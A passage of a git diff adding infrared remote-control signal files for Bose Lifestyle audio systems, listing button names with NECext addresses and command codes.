42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 46 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA AB 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA AB 00 00 +command: B3 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA AB 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA AB 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA AB 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir new file mode 100644 index 000000000..dc7811461 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 46 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA AC 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA AC 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA AC 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA AC 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir new file mode 100644 index 000000000..a88fb72ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA AD 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA AD 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA AD 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA AD 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir new file mode 100644 index 000000000..967a91090 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 06 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 66 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 69 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA AE 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA AE 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA AE 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA AE 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir new file mode 100644 index 000000000..fbc769e5e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B0 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B0 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B0 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B0 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B0 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B0 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B0 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B0 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir new file mode 100644 index 000000000..ddfc625c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir @@ -0,0 +1,578 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 01 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 06 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 06 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 0D 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 15 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 18 00 00 00 +# +name: TCPC_UP +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 49 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 4C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 4D 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 53 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 56 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 56 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 57 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 58 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 5C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 63 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 63 00 00 00 